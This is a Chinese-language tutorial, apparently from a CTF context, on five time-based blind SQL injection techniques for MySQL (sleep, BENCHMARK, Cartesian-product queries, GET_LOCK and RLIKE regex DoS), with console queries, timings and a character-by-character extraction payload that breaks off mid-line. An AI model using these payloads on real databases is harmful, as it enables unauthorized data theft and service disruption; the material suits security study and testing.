五種時間盲注姿勢
- sleep()函數
- benchmark函數
BENCHMARK(count,expr)
benchmark
函數會重復計算expr表達式count次,所以我們可以盡可能多的增加計算的次數來增加時間延遲,如下:
可以看到通過重復計算延時了1.90s
- 笛卡爾積盲注
注入姿勢
mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C; +-----------+ | count(*) | +-----------+ | 113101560 | +-----------+ 1 row in set (2.07 sec) mysql> select * from ctf_test where user='1' and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C); +------+-----+ | user | pwd | +------+-----+ | 1 | 0 | +------+-----+ 1 row in set (2.08 sec) mysql> select * from ctf_test where user='1' and 1=0 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C); Empty set (0.01 sec)
利用and短路運算規則
進行時間盲注。
- GET_LOCK盲注
get_lock
函數官方文檔中的介紹
可以看出文檔中寫的是我們如果已經開了一個session,對關鍵字進行了get_lock,那么再開另一個session再次對關鍵進行get_lock,就會延時我們指定的時間。
此盲注手法有一些限制,就是必須要同時開兩個SESSION
進行注入
SESSION A
mysql> select get_lock('lihuaiqiu',1); +-------------------------+ | get_lock('lihuaiqiu',1) | +-------------------------+ | 1 | +-------------------------+ 1 row in set (0.00 sec)
SESSION B
mysql> select get_lock('lihuaiqiu',5); +-------------------------+ | get_lock('lihuaiqiu',5) | +-------------------------+ | 0 | +-------------------------+ 1 row in set (5.00 sec) mysql> select * from ctf_test where user='0' and 1=1 and get_lock('lihuaiqiu',2); Empty set (2.00 sec) mysql> select * from ctf_test where user='0' and 1=0 and get_lock('lihuaiqiu',2); Empty set (0.00 sec)
同樣的盲注利用手法。
- 正則
DOS
RLIKE注入
延時原理,利用SQL多次計算正則消耗計算資源產生延時效果,其實原理是和我們的benchmark
注入差不多的。
利用手法
mysql> select * from flag where flag='1' and if(mid(user(),1,1)='s',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',1); +------+ | flag | +------+ | 1 | +------+ 1 row in set (0.00 sec) mysql> select * from flag where flag='1' and if(mid(user(),1,1)='r',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1